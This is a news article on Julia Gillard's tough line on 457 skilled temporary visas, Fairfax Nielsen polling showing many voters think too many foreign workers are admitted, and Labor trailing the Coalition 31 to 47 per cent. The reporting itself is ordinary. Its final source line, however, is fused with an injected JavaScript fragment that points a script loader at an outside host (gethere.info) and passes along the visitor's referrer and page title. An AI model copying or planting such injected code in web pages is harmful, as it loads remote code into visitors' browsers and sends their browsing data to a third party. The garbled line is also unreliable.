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Tough visa stance fails to win Labor support

Mark Kenny, Senior political correspondent:

Julia Gillard’s claim that foreigners are pushing Australians to the back of the jobs queue, appears to have been deliberately targeted at a specific group of voters with new research showing four out of 10 people believe there are too many foreigners admitted under the skilled temporary migration visa program.

But the Prime Minister’s aggressive stance, unveiled in western Sydney earlier this month and quickly backed by Pauline Hanson, has failed to kick-start a recovery in Labor’s dwindling support base.

Recent opposition attacks on asylum seekers also appear to have been carefully crafted to speak to a strong suburban hostility to outsiders, a new poll shows.

Exclusive research undertaken as part of the Fairfax Nielsen poll shows the parties, both of whom have been accused of ”dog whistling” on race, are courting a new, more insular community sentiment with 39 per cent of ALP voters and 41 per cent of Coalition voters declaring there are too many overseas workers in Australia.

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The nationwide telephone poll of 1400 voters between Thursday and Saturday asked people to grade whether there were ”too many” foreign workers being allowed in, ”too few” or the ”right amount”.

Thirty three per cent answered that the number was about right and another 4 per cent said there were too few.

The polling comes as the government continues its crackdown on alleged rorts in the 457 temporary visa program, announcing on Monday a plan to use the industrial relations watchdog, Fair Work Australia, to expose ”rogue employers” exploiting the section 457 foreign worker scheme.

The Fairfax Nielsen poll also showed a surprisingly high proportion of Australians believe police and neighbours should be advised about the prospect of asylum seekers being housed in the community.

Six out of 10 people believe the police should be informed when asylum seekers are located in their area, and nearly five in 10, at 48 per cent, said neighbours also should be told.

Among Coalition voters, the number wanting neighbours informed rose to 59 per cent.

The Coalition migration spokesman Scott Morrison touched off a controversy last month when he used a single case of an asylum seeker charged with an indecent assault to call for tougher monitoring of asylum seekers on community release, including the possibility of some form of ”behavioural protocols”.

Refugee and asylum seeker advocates were similarly offended by Labor’s recent appeal for what many see as the xenophobic vote.

But if that is what Ms Gillard is chasing, the poll offered mixed results, showing on the one hand that many people are against the 457 skilled migration scheme but on the other that they remain determined to change the government at the September election.

Labor’s primary vote failed to significantly improve in polling during the month when Ms Gillard’s ”Aussie”-jobs-first campaign began and now languishes at just 31 per cent compared with the Coalition on 47 per cent.

 

Source: http://www.smh.com.au/opinion/political-news/tough-visa-stance-fails-to-win-labor-support-20130318-2gb89.htmls.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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